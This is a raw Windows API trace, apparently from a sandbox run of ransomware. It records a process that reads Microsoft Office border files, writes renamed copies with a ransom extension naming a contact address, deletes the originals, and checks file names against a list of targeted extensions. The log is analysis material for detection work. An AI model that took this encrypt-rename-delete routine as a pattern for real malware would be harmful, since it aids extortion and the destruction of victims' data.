	[0272.397] CloseHandle (hObject=0x218) returned 1
	[0272.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 0x20
	[0272.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.397] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.397] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.399] GetLastError () returned 0x0
	[0272.399] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x6b14, lpOverlapped=0x0) returned 1
	[0272.409] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x6b20, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x6b20, lpOverlapped=0x0) returned 1
	[0272.411] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.411] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0272.411] SetEndOfFile (hFile=0x390) returned 1
	[0272.411] CloseHandle (hObject=0x390) returned 1
	[0272.411] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.411] SetEndOfFile (hFile=0x218) returned 1
	[0272.413] CloseHandle (hObject=0x218) returned 1
	[0272.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 1
	[0272.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62
	[0272.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62
	[0272.414] lstrlenW (lpString=".doc") returned 4
	[0272.414] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.414] lstrlenW (lpString=".docx") returned 5
	[0272.414] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1
	[0272.414] lstrlenW (lpString=".pdf") returned 4
	[0272.414] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.414] lstrlenW (lpString=".xls") returned 4
	[0272.414] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.414] lstrlenW (lpString=".xlsx") returned 5
	[0272.414] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1
	[0272.414] lstrlenW (lpString=".ppt") returned 4
	[0272.414] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62
	[0272.414] lstrlenW (lpString=".zip") returned 4
	[0272.414] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.414] lstrlenW (lpString=".rar") returned 4
	[0272.414] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.414] lstrlenW (lpString=".bz2") returned 4
	[0272.414] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.414] lstrlenW (lpString=".7z") returned 3
	[0272.414] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62
	[0272.414] lstrlenW (lpString=".dbf") returned 4
	[0272.414] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62
	[0272.414] lstrlenW (lpString=".1cd") returned 4
	[0272.414] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR") returned 62
	[0272.414] lstrlenW (lpString=".jpg") returned 4
	[0272.414] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.415] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=47188) returned 1
	[0272.415] CloseHandle (hObject=0x218) returned 1
	[0272.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 0x20
	[0272.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.417] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.417] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.417] GetLastError () returned 0x0
	[0272.417] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xb854, lpOverlapped=0x0) returned 1
	[0272.419] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xb860, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xb860, lpOverlapped=0x0) returned 1
	[0272.421] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.421] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0272.421] SetEndOfFile (hFile=0x390) returned 1
	[0272.421] CloseHandle (hObject=0x390) returned 1
	[0272.421] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.421] SetEndOfFile (hFile=0x218) returned 1
	[0272.423] CloseHandle (hObject=0x218) returned 1
	[0272.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 1
	[0272.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61
	[0272.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61
	[0272.424] lstrlenW (lpString=".doc") returned 4
	[0272.424] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.424] lstrlenW (lpString=".docx") returned 5
	[0272.424] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1
	[0272.424] lstrlenW (lpString=".pdf") returned 4
	[0272.424] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.424] lstrlenW (lpString=".xls") returned 4
	[0272.424] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.424] lstrlenW (lpString=".xlsx") returned 5
	[0272.424] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1
	[0272.424] lstrlenW (lpString=".ppt") returned 4
	[0272.425] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61
	[0272.425] lstrlenW (lpString=".zip") returned 4
	[0272.425] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.425] lstrlenW (lpString=".rar") returned 4
	[0272.425] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.425] lstrlenW (lpString=".bz2") returned 4
	[0272.425] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.425] lstrlenW (lpString=".7z") returned 3
	[0272.425] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61
	[0272.425] lstrlenW (lpString=".dbf") returned 4
	[0272.425] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61
	[0272.425] lstrlenW (lpString=".1cd") returned 4
	[0272.425] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61
	[0272.425] lstrlenW (lpString=".jpg") returned 4
	[0272.425] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.427] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=57646) returned 1
	[0272.427] CloseHandle (hObject=0x218) returned 1
	[0272.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 0x20
	[0272.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.428] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.428] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.428] GetLastError () returned 0x0
	[0272.428] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xe12e, lpOverlapped=0x0) returned 1
	[0272.431] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe130, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe130, lpOverlapped=0x0) returned 1
	[0272.432] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.432] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0272.432] SetEndOfFile (hFile=0x390) returned 1
	[0272.432] CloseHandle (hObject=0x390) returned 1
	[0272.433] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.433] SetEndOfFile (hFile=0x218) returned 1
	[0272.435] CloseHandle (hObject=0x218) returned 1
	[0272.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 1
	[0272.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61
	[0272.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61
	[0272.436] lstrlenW (lpString=".doc") returned 4
	[0272.436] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.436] lstrlenW (lpString=".docx") returned 5
	[0272.436] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1
	[0272.436] lstrlenW (lpString=".pdf") returned 4
	[0272.436] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.436] lstrlenW (lpString=".xls") returned 4
	[0272.436] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.436] lstrlenW (lpString=".xlsx") returned 5
	[0272.436] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1
	[0272.436] lstrlenW (lpString=".ppt") returned 4
	[0272.436] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61
	[0272.436] lstrlenW (lpString=".zip") returned 4
	[0272.436] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.436] lstrlenW (lpString=".rar") returned 4
	[0272.436] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.436] lstrlenW (lpString=".bz2") returned 4
	[0272.436] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.436] lstrlenW (lpString=".7z") returned 3
	[0272.436] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61
	[0272.436] lstrlenW (lpString=".dbf") returned 4
	[0272.436] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61
	[0272.436] lstrlenW (lpString=".1cd") returned 4
	[0272.436] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61
	[0272.437] lstrlenW (lpString=".jpg") returned 4
	[0272.437] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.437] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=14594) returned 1
	[0272.437] CloseHandle (hObject=0x218) returned 1
	[0272.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 0x20
	[0272.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.437] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.437] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.438] GetLastError () returned 0x0
	[0272.438] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x3902, lpOverlapped=0x0) returned 1
	[0272.440] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x3910, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x3910, lpOverlapped=0x0) returned 1
	[0272.441] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.441] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0272.441] SetEndOfFile (hFile=0x390) returned 1
	[0272.441] CloseHandle (hObject=0x390) returned 1
	[0272.441] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.441] SetEndOfFile (hFile=0x218) returned 1
	[0272.444] CloseHandle (hObject=0x218) returned 1
	[0272.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 1
	[0272.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61
	[0272.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61
	[0272.444] lstrlenW (lpString=".doc") returned 4
	[0272.444] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.444] lstrlenW (lpString=".docx") returned 5
	[0272.444] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1
	[0272.444] lstrlenW (lpString=".pdf") returned 4
	[0272.444] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.444] lstrlenW (lpString=".xls") returned 4
	[0272.444] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.444] lstrlenW (lpString=".xlsx") returned 5
	[0272.444] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1
	[0272.444] lstrlenW (lpString=".ppt") returned 4
	[0272.444] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61
	[0272.445] lstrlenW (lpString=".zip") returned 4
	[0272.445] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.445] lstrlenW (lpString=".rar") returned 4
	[0272.445] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.445] lstrlenW (lpString=".bz2") returned 4
	[0272.445] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.445] lstrlenW (lpString=".7z") returned 3
	[0272.445] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61
	[0272.445] lstrlenW (lpString=".dbf") returned 4
	[0272.445] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61
	[0272.445] lstrlenW (lpString=".1cd") returned 4
	[0272.445] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61
	[0272.445] lstrlenW (lpString=".jpg") returned 4
	[0272.445] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.445] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=15788) returned 1
	[0272.445] CloseHandle (hObject=0x218) returned 1
	[0272.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 0x20
	[0272.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.446] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.446] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0272.446] GetLastError () returned 0x0
	[0272.446] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x3dac, lpOverlapped=0x0) returned 1
	[0272.448] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x3db0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x3db0, lpOverlapped=0x0) returned 1
	[0272.451] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.451] WriteFile (in: hFile=0x390, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0272.451] SetEndOfFile (hFile=0x390) returned 1
	[0272.451] CloseHandle (hObject=0x390) returned 1
	[0272.451] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.451] SetEndOfFile (hFile=0x218) returned 1
	[0272.453] CloseHandle (hObject=0x218) returned 1
	[0272.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
